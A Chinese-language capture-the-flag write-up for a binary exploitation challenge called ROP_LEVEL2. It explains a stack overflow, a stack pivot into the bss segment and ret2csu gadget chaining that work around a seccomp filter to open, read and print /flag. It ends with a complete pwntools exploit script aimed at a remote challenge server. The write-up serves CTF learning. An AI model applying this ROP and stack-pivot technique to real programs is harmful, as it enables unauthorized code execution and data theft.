标签:下载文件 大致 覆盖 color payload game contex 保存 splay
花了好多天,终于把这个题彻底弄懂了。。。自己太菜了
下载文件,首先checksec检查一下保护。
只开启了堆栈不可执行,接下来拖到IDA看一下C的伪代码。
大致先让你输入,然后再次让你输入。
第一次输入的话,会将输入的数据保存到bss段,第二次是向栈中输入数据,并且可以溢出。经过计算,正好可以溢出到覆盖rbp和返回地址。也就是我们构造的ROP链不能太长,这里就需要我们进行一步栈转移,将栈转移到bss段。
如果栈转移呢?就是再覆盖rbp的时候我们需要将rbp覆盖成我们的假的rbp,然后执行leavel ret这样就我们就可以将栈转移过去,并且可以执行转移过去的命令。当然这里是要转移到bss段,因为bss段的数据我们是可控制的,可以执行我们的命令。
还有就是这个题目,开启了seccomp,这是一种保护,开了这种保护除了白名单上面的函数,我们只能调用open、write、read函数,不能直接拿到shell,不过我们的目的就是拿到flag,已知flag在同目录下的/flag,这样我们就只能用这几个函数来获得flag了。
在这里我们采用csu的方法给寄存器赋值来调用这几个函数。所以先payload这样构造。
1 payload = ‘/flag\x00\x00\x00‘ # r12->call r13->rdx r14->rsi r15->rdi 2 payload += p64(csu_end)+p64(0)+p64(1)+p64(open_got)+p64(0)+p64(0)+p64(buf_addr)+p64(csu_front)+ ‘a‘*0x8 + p64(0) + p64(1) + ‘a‘*0x20 3 4 payload += p64(csu_end+2)+p64(read_got)+p64(0x20)+p64(flag_addr)+p64(4)+p64(csu_front)+‘a‘*0x38 5 6 payload += p64(pop_rdi)+p64(flag_addr)+p64(puts_plt)
第一行的payload,目的是为了输入open的参数,并且可以正好给rsp留位置占位。
第二行,调用csu,给open加参数,相当于执行了open(“/flag”,0,0)
第三行,在第二行的末尾覆盖的时候,我们已经又给rbp和rbx赋值了,这样我们第二次调用csu的时候就不用再次赋值了,这样可以减少rop链的长度。第三行相当于执行了read(4,flag_addr,0x20),至于那个4是怎么来的,大佬说这个叫流,是堆里的内容,暂时不要我懂。。。反正就是把open的读取到的数据写到flag_addr了。
最后一行就很清楚了,利用puts函数输出flag。
完整的exp:
1 from pwn import * 2 import time 3 4 #p = process(‘./ROP_LEVEL2‘) 5 p = remote(‘47.103.214.163‘,20300) 6 elf = ELF(‘ROP_LEVEL2‘) 7 context.log_level = ‘debug‘ 8 9 csu_end = 0x0400A3A 10 csu_front = 0x0400A20 11 puts_plt = elf.plt[‘puts‘] 12 13 flag_addr = elf.bss() + 0x200 14 buf_addr = 0x06010A0 15 open_got = elf.got[‘open‘] 16 read_got = elf.got[‘read‘] 17 pop_rdi = 0x0400a43 18 19 payload = ‘/flag\x00\x00\x00‘ # r12->call r13->rdx r14->rsi r15->rdi 20 payload += p64(csu_end)+p64(0)+p64(1)+p64(open_got)+p64(0)+p64(0)+p64(buf_addr)+p64(csu_front)+ ‘a‘*0x8 + p64(0) + p64(1) + ‘a‘*0x20 21 payload += p64(csu_end+2)+p64(read_got)+p64(0x20)+p64(flag_addr)+p64(4)+p64(csu_front)+‘a‘*0x38 22 payload += p64(pop_rdi)+p64(flag_addr)+p64(puts_plt) 23 24 p.recvuntil(‘so?\n‘) 25 p.send(payload) 26 27 sleep(1) 28 leave_addr = 0x040090d 29 payload1 = ‘U‘*0x50 + p64(buf_addr) + p64(leave_addr) 30 p.recvuntil(‘flag\n\n‘) 31 p.sendline(payload1) 32 p.recv() 33 p.close()
运行一下,拿到flag!
标签:下载文件 大致 覆盖 color payload game contex 保存 splay
原文地址:https://www.cnblogs.com/bhxdn/p/12325667.html